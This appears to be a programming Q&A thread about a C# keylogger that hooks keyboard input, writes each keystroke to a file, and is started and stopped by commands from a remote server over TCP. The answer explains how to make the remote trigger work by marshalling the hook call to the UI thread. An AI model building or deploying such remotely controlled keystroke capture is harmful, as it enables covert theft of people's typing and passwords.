Question

I have this library http://www.codeproject.com/KB/cs/globalhook.aspx

I’ve downloaded it and compiled it to DLL.
At first I had a weird problem that it haven’t worked in my project, but it did (in the exact same code) worked in the demo project, but it was fixed by applying what the following message said:

http://www.codeproject.com/KB/cs/globalhook.aspx?msg=3505023#xx3505023xx

Note: I’m working with .NET 4, VS 2010 Ultimate

Well, I have a file Form1.cs, which is my main form for my app.

I have other files: Client.cs, Script.cs, Keylogger.cs – no, it’s not an evil keylogger – It’s for a school presentation about security\antiviruses etc.

Keylogger.cs has one static class and here’s the code:

public static class Keylogger
{
    static private StreamWriter sw = null;
    static private System.Timers.Timer t = null;
    static public bool Started = false;
    static public void Start(string Location)
    {
        Started = true;
        sw = new StreamWriter(Location, true, Encoding.Default, 1);
        HookManager.KeyPress += HookManager_KeyPress;
        t = new System.Timers.Timer(3600000);
        t.Elapsed += (object sender, System.Timers.ElapsedEventArgs e) => sw.WriteLine(Environment.NewLine + "1 HOUR PASSED");
        t.Start();
    }
    static public void Stop()
    {
        if (!Started)
            throw new Exception("Keylogger is not operating at the moment.");
        Started = false;
        HookManager.KeyPress -= HookManager_KeyPress;
        t.Dispose();
        sw.Dispose();
    }

    static private void HookManager_KeyPress(object sender, KeyPressEventArgs e)
    {
        if (e.KeyChar == 8)
            sw.Write("{BACKSPACE}");
        else
            sw.Write(e.KeyChar);
    }
}

The Client class isn’t static – it manages a TCP connections with a server, and send all received data to Script.RunScript(string scr) (static method).

Well, Script.RunScript should invoke Keylogger.Start(string location) for some input (STARTLOGGING c:\log.txt)

And invoke Keylogger.Stop() for some input (STOPLOGGING)

Well, everything is good, it invokes Start, but it doesn’t work.

It does the whole process, (timer, event, streamwriter etc) but when I press something – the whole computer freeze for a couple of seconds and nothing happened (it doesn’t even invoke KeyPress) – it happens only the first time. any other time – it simply ignores my keypress.

THE FUNNY THING IS – if I call Start from my mainform (in the ctor, on a button click event) – IT DOES WORK ! without any lag.

I did try different events (MouseDoubleClick, MouseMove) and all had the same problem.

Thank you, Mark !

Answer 1

The delay followed by the UI getting responsive again is a strong sign of the underlying cause of the problem. You see Windows healing itself, noticing that the callback isn’t being responsive. It automatically disables the hook.

The hard requirement you probably violate is that the SetWindowsHookEx() call must be made from a thread that pumps a message loop. So that Windows can break in on a keypress and call the callback. That works fine when you called the Start() method from a button click, the Click event runs on the UI thread of your program.

But probably not when you this call is made from a networking event. They tend to run on a threadpool thread. It isn’t clear from your snippet, you didn’t post the code. The generic fix for a problem like this is using Control.BeginInvoke() to marshal a call from a worker thread to the UI thread. You’ll find a good description of it in the MSDN library article as well as many, many answers here at stackoverflow.com

Fwiw, the original code got broken due to changed behavior in the .NET 4 version of the CLR. It no longer fakes the native module for assemblies. The workaround is good enough, it only needs a valid module handle. The actual one doesn’t matter since this is not a global hook.